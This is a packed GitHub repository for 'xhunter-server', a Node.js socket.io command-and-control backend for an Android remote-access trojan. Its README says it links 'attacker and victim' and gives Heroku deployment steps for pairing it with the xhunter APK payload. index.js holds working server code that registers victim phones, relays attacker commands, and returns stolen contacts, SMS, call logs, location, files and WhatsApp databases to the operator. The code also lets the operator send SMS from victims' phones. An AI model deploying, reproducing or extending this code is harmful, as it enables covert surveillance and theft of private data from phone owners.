Repository: anirudhmalik/xhunter-server Branch: main Commit: 27eb6a532e90 Files: 5 Total size: 4.5 KB Directory structure: gitextract_2437cb0e/ ├── .gitignore ├── README.md ├── app.json ├── index.js └── package.json ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # node.js # node_modules/ npm-debug.log yarn-error.log ================================================ FILE: README.md ================================================ # xhunter-server xhunter-server is used to communicate between attacker and victim. It is very easy to host on [heroku](https://www.heroku.com/). follow the below steps: #### Setup - Signup and create a heroku account [here](https://signup.heroku.com) - After login, click the below **Deploy** button. [![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/anirudhmalik/xhunter-server) - Give your app a name `` and click `Deploy app` button. - Wait for the process to complete. - Once complete, Click `view app` and If you see `Welcome to Xhunter Backend Server!!` then you have successfully created your server. - Now use this url `https://.herokuapp.com` in [xhunter_v1.6.apk](https://github.com/anirudhmalik/xhunter/releases/tag/v1.6). during building payload and listening connection. ================================================ FILE: app.json ================================================ { "name": "xhunter-server", "description": "backbone for xhunter app", "repository": "https://github.com/anirudhmalik/xhunter/tree/master/xhunter-server" } ================================================ FILE: index.js ================================================ const express = require('express'); const app = express() const server = require('http').createServer(app) const { Server } = require('socket.io') const io = new Server(server, { maxHttpBufferSize: 1e8, // 1mb }); var victimList={}; var deviceList={}; var victimData={}; var adminSocketId=null; const port = 8080; server.listen(process.env.PORT || port, (err) => { if (err) return;log("Server Started : " + port);}); app.get('/', (req, res) => res.send('Welcome to Xhunter Backend Server!!')) io.on('connection', (socket) => { socket.on('adminJoin', ()=>{ adminSocketId=socket.id; if(Object.keys(victimData).length>0){ Object.keys(victimData).map((key)=>socket.emit("join", victimData[key])); } }) socket.on('request', request);//from attacker socket.on('join',(device)=>{ log("Victim joined => socketId "+JSON.stringify(socket.id)); victimList[device.id] = socket.id; victimData[device.id]= {...device,socketId: socket.id}; deviceList[socket.id] = { "id": device.id, "model": device.model } socket.broadcast.emit("join", {...device,socketId: socket.id}); }); socket.on('getDir',(data)=>response("getDir",data)); socket.on('getInstalledApps',(data)=>response("getInstalledApps",data)); socket.on('getContacts',(data)=>response("getContacts",data)); socket.on('sendSMS',(data)=>response("sendSMS",data)); socket.on('getCallLog',(data)=>response("getCallLog",data)); socket.on("previewImage", (data) =>response("previewImage",data)); socket.on("error", (data) =>response("error",data)); socket.on("getSMS", (data) =>response("getSMS",data)); socket.on('getLocation',(data)=>response("getLocation",data)); socket.on('disconnect', () => { if(socket.id===adminSocketId){ adminSocketId=null }else{ response("disconnectClient",socket.id) Object.keys(victimList).map((key)=>{ if(victimList[key] === socket.id){ delete victimList[key] delete victimData[key] } }) } }); socket.on("download", (d, callback) =>responseBinary("download", d, callback)); socket.on("downloadWhatsappDatabase", (d, callback) => { socket.broadcast.emit("downloadWhatsappDatabase", d, callback); }); }); const request =(d)=>{// request from attacker to victim let { to, action, data } = JSON.parse(d); log("Requesting action: "+ action); io.to(victimList[to]).emit(action, data); } const response =(action, data)=>{// response from victim to attacker if(adminSocketId){ log("response action: "+ action); io.to(adminSocketId).emit(action, data); } } const responseBinary =(action, data, callback)=>{// response from victim to attacker if(adminSocketId){ log("response action: "+ action); callback("success") io.to(adminSocketId).emit(action, data); } } // LOGGER const log = (log) =>{ console.log(log) } ================================================ FILE: package.json ================================================ { "name": "xhunter-server", "version": "1.0.0", "description": "backbone for xhunter app", "main": "index.js", "scripts": { "start": "nodemon index.js" }, "keywords": [ "xhunter-server" ], "author": "anirudhmalik", "license": "MIT", "dependencies": { "express": "^4.18.1", "nodemon": "^2.0.19", "socket.io": "^4.5.1" }, "engines": { "node": "16.x" } }